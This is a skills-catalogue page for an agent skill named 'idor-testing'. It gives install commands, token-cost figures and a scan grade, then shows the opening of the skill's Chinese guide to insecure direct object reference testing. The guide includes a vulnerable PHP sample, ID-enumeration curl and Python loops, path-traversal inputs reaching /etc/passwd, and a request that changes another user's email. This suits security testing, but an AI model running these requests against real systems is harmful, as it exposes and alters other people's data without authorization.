Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add liuxinye23/CyberStrikeAI --skill idor-testinggit clone --depth 1 https://github.com/liuxinye23/CyberStrikeAIWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/liuxinye23/cyberstrikeai/idor-testing)<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/idor-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/idor-testing.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00018 | $0.01734 |
| Opus 5 | $0.00009 | $0.00867 |
| Sonnet 5 | $0.00004 | $0.00347 |
| Haiku 4.5 | $0.00002 | $0.00173 |
Grade A, and why
idor-testing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl "https://target.com/user?id=$i" How it starts
The opening of the file, as written. The whole thing — 319 lines — stays where its author put it; the contents beside it link to each section on GitHub.
IDOR不安全的直接对象引用测试
概述
IDOR(Insecure Direct Object Reference)是一种访问控制漏洞,当应用程序直接使用用户提供的输入来访问资源,而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。
漏洞原理
应用程序使用可预测的标识符(如ID、文件名)直接引用资源,未验证当前用户是否有权限访问该资源。
危险代码示例:
// 直接使用用户输入的ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
测试方法
1. 识别直接对象引用
常见资源类型:
- 用户ID
- 文件ID/文件名
- 订单ID
- 文档ID
- 账户ID
- 记录ID
常见位置:
- URL参数
- POST数据
- Cookie值
- HTTP头
- 文件路径
2. 枚举测试
顺序ID测试:
/user?id=1
/user?id=2
/user?id=3
UUID测试:
/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001
文件名测试:
/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdf
3. 水平权限测试
访问其他用户资源:
当前用户ID: 100
测试: /user?id=101
测试: /user?id=102
访问其他用户文件:
/files/user100_document.pdf
测试: /files/user101_document.pdf
4. 垂直权限测试
普通用户访问管理员资源:
/admin/users?id=1
/admin/settings
/admin/logs
利用技术
用户信息泄露
枚举用户资料:
# 顺序枚举
for i in {1..1000}; do
curl "https://target.com/user?id=$i"
done
# 观察响应差异
文件访问
访问其他用户文件:
/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf
目录遍历结合:
/files/../admin/config.php
/files/../../etc/passwd
数据修改
修改其他用户数据:
POST /api/user/update
Content-Type: application/json
{
"id": 101,
"email": "[email protected]"
}
批量操作
批量获取数据:
import requests
for user_id in range(1, 1000):
response = requests.get(f'https://target.com/api/user/{user_id}')
if response.status_code == 200:
print(f"User {user_id}: {response.json()}")
绕过技术
ID混淆
Base64编码:
原始ID: 123
编码: MTIz
URL: /user?id=MTIz
哈希值:
原始ID: 123
哈希: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70
参数名混淆
使用不同参数名:
/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123
HTTP方法绕过
尝试不同HTTP方法:
GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 319 lines · 18 tokens per session scan A 018b1aba6d9b
idor-testing is a skill published in the GitHub repository liuxinye23/CyberStrikeAI (0 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 18 tokens to every session and 1,734 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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